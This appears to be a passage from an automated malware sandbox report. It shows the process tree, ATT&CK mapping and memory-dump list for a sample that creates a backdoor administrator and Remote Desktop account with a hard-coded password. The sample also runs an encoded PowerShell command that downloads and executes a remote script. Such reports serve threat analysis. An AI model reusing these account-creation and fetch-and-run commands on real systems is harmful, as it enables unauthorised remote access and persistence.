- C:\Windows\system32\net.exe
  net.exe user wgautilacc s5RSpUma /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc s5RSpUma /add
    3⤵
    PID:4556

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:4992

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3872

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:4612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:4172

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc s5RSpUma
1⤵
PID:3196
- C:\Windows\system32\net.exe
  net.exe user wgautilacc s5RSpUma
  2⤵
  PID:4388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc s5RSpUma
    3⤵
    PID:4408

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4396
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:196

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2744
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:864

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1224
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1712

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:2436
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:4204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:4052

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1712-254-0x000002134F5F0000-0x000002134F5F2000-memory.dmp

Filesize
8KB

Download
memory/1712-255-0x000002134F5F3000-0x000002134F5F5000-memory.dmp

Filesize
8KB

Download
memory/1712-257-0x000002134F5F8000-0x000002134F5F9000-memory.dmp

Filesize
4KB

Download
memory/1712-256-0x000002134F5F6000-0x000002134F5F8000-memory.dmp

Filesize
8KB

Download
memory/2756-215-0x000002A180E36000-0x000002A180E38000-memory.dmp

Filesize
8KB

Download
memory/2756-216-0x000002A180E38000-0x000002A180E3A000-memory.dmp

Filesize
8KB

Download
memory/2756-214-0x000002A180E33000-0x000002A180E35000-memory.dmp

Filesize
8KB

Download
memory/2756-213-0x000002A180E30000-0x000002A180E32000-memory.dmp

Filesize
8KB

Download
memory/3236-182-0x00000252697D0000-0x00000252697D2000-memory.dmp

Filesize
8KB

Download
memory/3236-183-0x00000252697D3000-0x00000252697D5000-memory.dmp

Filesize
8KB

Download
memory/3236-202-0x00000252697D6000-0x00000252697D8000-memory.dmp

Filesize
8KB

Download
memory/3996-132-0x000001D5FFDB6000-0x000001D5FFDB7000-memory.dmp

Filesize
4KB

Download
memory/3996-127-0x000001D5BC770000-0x000001D5BCB91000-memory.dmp

Filesize
4.1MB

Download
memory/3996-130-0x000001D5FFDB3000-0x000001D5FFDB5000-memory.dmp

Filesize
8KB

Download
memory/3996-129-0x000001D5FFDB0000-0x000001D5FFDB2000-memory.dmp

Filesize
8KB

Download
memory/3996-131-0x000001D5FFDB5000-0x000001D5FFDB6000-memory.dmp

Filesize
4KB

Download
memory/4208-141-0x000001FCBB390000-0x000001FCBB392000-memory.dmp

Filesize
8KB

Download
memory/4208-159-0x000001FCD3850000-0x000001FCD3851000-memory.dmp

Filesize
4KB

Download
memory/4208-166-0x000001FCD4D20000-0x000001FCD4D21000-memory.dmp

Filesize
4KB

Download
memory/4208-222-0x000001FCBB398000-0x000001FCBB399000-memory.dmp

Filesize
4KB

Download
memory/4208-152-0x000001FCBB396000-0x000001FCBB398000-memory.dmp

Filesize
8KB

Download
memory/4208-165-0x000001FCD4990000-0x000001FCD4991000-memory.dmp

Filesize
4KB

Download
memory/4208-142-0x000001FCBB393000-0x000001FCBB395000-memory.dmp

Filesize
8KB

Download
memory/4208-143-0x000001FCD38B0000-0x000001FCD38B1000-memory.dmp

Filesize
4KB

Download
memory/4208-138-0x000001FCD3700000-0x000001FCD3701000-memory.dmp

Filesize
4KB

Download
memory/4436-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/4436-114-0x00000000020F0000-0x0000000002181000-memory.dmp

Filesize
580KB

Download
memory/4508-221-0x000002E61F788000-0x000002E61F78A000-memory.dmp

Filesize
8KB

Download
memory/4508-218-0x000002E61F780000-0x000002E61F782000-memory.dmp

Filesize
8KB

Download
memory/4508-219-0x000002E61F783000-0x000002E61F785000-memory.dmp

Filesize
8KB

Download
memory/4508-220-0x000002E61F786000-0x000002E61F788000-memory.dmp

Filesize
8KB

Download